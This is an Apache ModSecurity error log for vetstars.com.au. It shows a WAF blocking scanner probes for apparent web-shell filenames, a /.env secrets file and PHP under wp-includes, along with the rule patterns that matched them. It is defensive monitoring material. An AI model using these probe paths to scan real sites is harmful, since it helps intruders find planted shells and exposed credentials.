[Thu Apr 23 20:23:20.241515 2026] [:error] [pid 64998:tid 65010] [client 158.158.100.100:36808] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/doc.php"] [unique_id "aeoPOIV5EysYcTLjmwhX9wAAAcg"]
[Thu Apr 23 20:23:21.675259 2026] [:error] [pid 42973:tid 43051] [client 158.158.100.100:45856] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/doc.php"] [unique_id "aeoPOW6I0QqmmmLTHE0IHAAAAIg"]
[Thu Apr 23 20:24:22.766613 2026] [:error] [pid 25635:tid 25640] [client 158.158.100.100:64496] [client 158.158.100.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeoPdsRxv6UsgRGKB3Iu9QAAAQE"]
[Thu Apr 23 20:26:53.877785 2026] [:error] [pid 59700:tid 59707] [client 158.158.100.100:19082] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aeoQDZXyGZJFeAIDWtkc3wAAAUU"]
[Thu Apr 23 20:26:58.990523 2026] [:error] [pid 42972:tid 43032] [client 158.158.100.100:51409] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aeoQEsOAb-3sOknsk4cjXwAAAFA"]
[Thu Apr 23 20:27:01.604966 2026] [:error] [pid 65000:tid 65043] [client 158.158.100.100:17163] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aeoQFb6vRb9j6psK2ZZY1AAAAgo"]
[Thu Apr 23 20:27:06.738657 2026] [:error] [pid 64998:tid 65026] [client 158.158.100.100:30248] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aeoQGoV5EysYcTLjmwhZ4gAAAdg"]
[Thu Apr 23 20:27:11.831554 2026] [:error] [pid 65000:tid 65056] [client 158.158.100.100:18557] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/packsin1.php"] [unique_id "aeoQH76vRb9j6psK2ZZZCQAAAhc"]
[Thu Apr 23 20:27:32.249552 2026] [:error] [pid 64998:tid 65021] [client 158.158.100.100:50535] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xs.php"] [unique_id "aeoQNIV5EysYcTLjmwhaPAAAAdM"]
[Thu Apr 23 20:27:35.406185 2026] [:error] [pid 65000:tid 65045] [client 158.158.100.100:31558] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xs.php"] [unique_id "aeoQN76vRb9j6psK2ZZZTwAAAgw"]
[Thu Apr 23 20:27:40.462053 2026] [:error] [pid 42971:tid 42998] [client 158.158.100.100:30261] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xs.php"] [unique_id "aeoQPDEP2_5RswrH8bEj0AAAAAw"]
[Thu Apr 23 20:30:28.721755 2026] [:error] [pid 65000:tid 65053] [client 158.158.100.100:24825] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws68.php"] [unique_id "aeoQ5L6vRb9j6psK2ZZcNAAAAhQ"]
[Thu Apr 23 20:30:30.511036 2026] [:error] [pid 42972:tid 43029] [client 158.158.100.100:39348] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws68.php"] [unique_id "aeoQ5sOAb-3sOknsk4ckrQAAAE0"]
[Thu Apr 23 20:30:32.911535 2026] [:error] [pid 64998:tid 65019] [client 158.158.100.100:24827] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws68.php"] [unique_id "aeoQ6IV5EysYcTLjmwhdbgAAAdE"]
[Thu Apr 23 20:30:34.958142 2026] [:error] [pid 64998:tid 65003] [client 158.158.100.100:54963] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws68.php"] [unique_id "aeoQ6oV5EysYcTLjmwhddQAAAcE"]
[Thu Apr 23 20:30:37.113505 2026] [:error] [pid 64998:tid 65025] [client 158.158.100.100:61460] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pp.php"] [unique_id "aeoQ7YV5EysYcTLjmwhdeQAAAdc"]
[Thu Apr 23 20:30:38.786166 2026] [:error] [pid 42972:tid 43022] [client 158.158.100.100:59771] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pp.php"] [unique_id "aeoQ7sOAb-3sOknsk4ckyAAAAEY"]
[Thu Apr 23 20:30:41.834812 2026] [:error] [pid 64998:tid 65017] [client 158.158.100.100:51771] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pp.php"] [unique_id "aeoQ8YV5EysYcTLjmwhdgQAAAc8"]
[Thu Apr 23 20:30:42.613003 2026] [:error] [pid 64967:tid 64974] [client 158.158.100.100:42650] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pp.php"] [unique_id "aeoQ8oAV4GfOOdX8QzpwXgAAAYU"]
[Thu Apr 23 20:30:45.675947 2026] [:error] [pid 42971:tid 42989] [client 158.158.100.100:48091] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aeoQ9TEP2_5RswrH8bEkCgAAAAM"]
[Thu Apr 23 20:30:47.353268 2026] [:error] [pid 46953:tid 46967] [client 158.158.100.100:23671] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aeoQ90nlpdHh-P6wKbovwgAAAks"]
[Thu Apr 23 20:30:50.256197 2026] [:error] [pid 59700:tid 59710] [client 158.158.100.100:3508] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aeoQ-pXyGZJFeAIDWtkdhQAAAUg"]
[Thu Apr 23 20:30:52.587866 2026] [:error] [pid 64998:tid 65017] [client 158.158.100.100:52375] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aeoQ_IV5EysYcTLjmwhdigAAAc8"]
[Thu Apr 23 20:30:54.833064 2026] [:error] [pid 42973:tid 43052] [client 158.158.100.100:3342] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/son1.php"] [unique_id "aeoQ_m6I0QqmmmLTHE0J-AAAAIk"]
[Thu Apr 23 20:30:56.830693 2026] [:error] [pid 42972:tid 43039] [client 158.158.100.100:28550] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/son1.php"] [unique_id "aeoRAMOAb-3sOknsk4ck3AAAAFc"]
[Thu Apr 23 20:30:58.936508 2026] [:error] [pid 42973:tid 43050] [client 158.158.100.100:39939] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/son1.php"] [unique_id "aeoRAm6I0QqmmmLTHE0KAAAAAIc"]
[Thu Apr 23 20:31:01.808889 2026] [:error] [pid 65000:tid 65037] [client 158.158.100.100:56172] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/son1.php"] [unique_id "aeoRBb6vRb9j6psK2ZZcowAAAgQ"]
[Thu Apr 23 20:31:03.004447 2026] [:error] [pid 65000:tid 65047] [client 158.158.100.100:64727] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "aeoRB76vRb9j6psK2ZZcvQAAAg4"]
[Thu Apr 23 20:31:06.444701 2026] [:error] [pid 64998:tid 65020] [client 158.158.100.100:15371] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "aeoRCoV5EysYcTLjmwhduAAAAdI"]
[Thu Apr 23 22:53:10.201223 2026] [:error] [pid 64967:tid 64980] [client 20.172.36.113:60210] [client 20.172.36.113] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aeoyVoAV4GfOOdX8Qzp-7gAAAYs"]
[Thu Apr 23 22:56:23.801389 2026] [:error] [pid 64998:tid 65021] [client 43.166.7.113:57228] [client 43.166.7.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeozF4V5EysYcTLjmwipVgAAAdM"]
[Thu Apr 23 23:07:46.780359 2026] [:error] [pid 42972:tid 43020] [client 51.103.174.167:41521] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aeo1wsOAb-3sOknsk4djaAAAAEQ"]
[Thu Apr 23 23:07:47.922127 2026] [:error] [pid 65000:tid 65039] [client 51.103.174.167:51624] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aeo1w76vRb9j6psK2ZbP_wAAAgY"]
[Thu Apr 23 23:07:50.050501 2026] [:error] [pid 46953:tid 46978] [client 51.103.174.167:45130] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aeo1xknlpdHh-P6wKbpMXQAAAlU"]
[Thu Apr 23 23:07:52.096285 2026] [:error] [pid 43083:tid 43102] [client 51.103.174.167:44457] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aeo1yDC5hrvNXosL83KIuAAAANE"]
[Thu Apr 23 23:07:53.198626 2026] [:error] [pid 64998:tid 65026] [client 51.103.174.167:28611] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "aeo1yYV5EysYcTLjmwit9AAAAdg"]
[Thu Apr 23 23:07:55.078910 2026] [:error] [pid 42971:tid 43003] [client 51.103.174.167:29176] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "aeo1yzEP2_5RswrH8bE3WgAAABE"]
[Thu Apr 23 23:07:56.840645 2026] [:error] [pid 64998:tid 65013] [client 51.103.174.167:40584] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "aeo1zIV5EysYcTLjmwit_AAAAcs"]
[Thu Apr 23 23:07:58.500862 2026] [:error] [pid 42973:tid 43062] [client 51.103.174.167:31755] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "aeo1zm6I0QqmmmLTHE05fwAAAJM"]
[Thu Apr 23 23:07:59.673819 2026] [:error] [pid 42972:tid 43038] [client 51.103.174.167:31766] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeo1z8OAb-3sOknsk4djfAAAAFY"]
[Thu Apr 23 23:08:00.857501 2026] [:error] [pid 25635:tid 25651] [client 51.103.174.167:44424] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeo10MRxv6UsgRGKB3I8-wAAAQw"]
[Thu Apr 23 23:08:03.588257 2026] [:error] [pid 64998:tid 65005] [client 51.103.174.167:60265] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeo104V5EysYcTLjmwiuFgAAAcM"]
[Thu Apr 23 23:08:05.561668 2026] [:error] [pid 42972:tid 43035] [client 51.103.174.167:60269] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeo11cOAb-3sOknsk4djgQAAAFM"]
[Thu Apr 23 23:08:07.192663 2026] [:error] [pid 42972:tid 43022] [client 51.103.174.167:36052] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aeo118OAb-3sOknsk4djiQAAAEY"]
[Thu Apr 23 23:08:08.565091 2026] [:error] [pid 42972:tid 43025] [client 51.103.174.167:61372] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aeo12MOAb-3sOknsk4djkgAAAEk"]
[Thu Apr 23 23:08:11.112971 2026] [:error] [pid 46953:tid 46973] [client 51.103.174.167:28441] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aeo120nlpdHh-P6wKbpMagAAAlE"]
[Thu Apr 23 23:08:12.783798 2026] [:error] [pid 65000:tid 65043] [client 51.103.174.167:55709] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aeo13L6vRb9j6psK2ZbQPwAAAgo"]
[Thu Apr 23 23:08:14.216825 2026] [:error] [pid 64998:tid 65005] [client 51.103.174.167:44846] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctex1.php"] [unique_id "aeo13oV5EysYcTLjmwiuSQAAAcM"]
[Thu Apr 23 23:08:15.737712 2026] [:error] [pid 59700:tid 59708] [client 51.103.174.167:44823] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctex1.php"] [unique_id "aeo135XyGZJFeAIDWtk_MQAAAUY"]
[Thu Apr 23 23:08:17.658561 2026] [:error] [pid 46953:tid 46967] [client 51.103.174.167:35753] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctex1.php"] [unique_id "aeo14UnlpdHh-P6wKbpMbQAAAks"]
[Thu Apr 23 23:08:18.638039 2026] [:error] [pid 59700:tid 59712] [client 51.103.174.167:41853] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctex1.php"] [unique_id "aeo14pXyGZJFeAIDWtk_NAAAAUo"]
[Thu Apr 23 23:08:19.624031 2026] [:error] [pid 42972:tid 43021] [client 51.103.174.167:44817] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aeo148OAb-3sOknsk4djoQAAAEU"]
[Thu Apr 23 23:08:20.564731 2026] [:error] [pid 65000:tid 65052] [client 51.103.174.167:52736] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aeo15L6vRb9j6psK2ZbQWwAAAhM"]
[Thu Apr 23 23:08:21.955194 2026] [:error] [pid 65000:tid 65042] [client 51.103.174.167:40204] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aeo15b6vRb9j6psK2ZbQZwAAAgk"]
[Thu Apr 23 23:08:22.756021 2026] [:error] [pid 65000:tid 65044] [client 51.103.174.167:40204] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aeo15r6vRb9j6psK2ZbQbQAAAgs"]
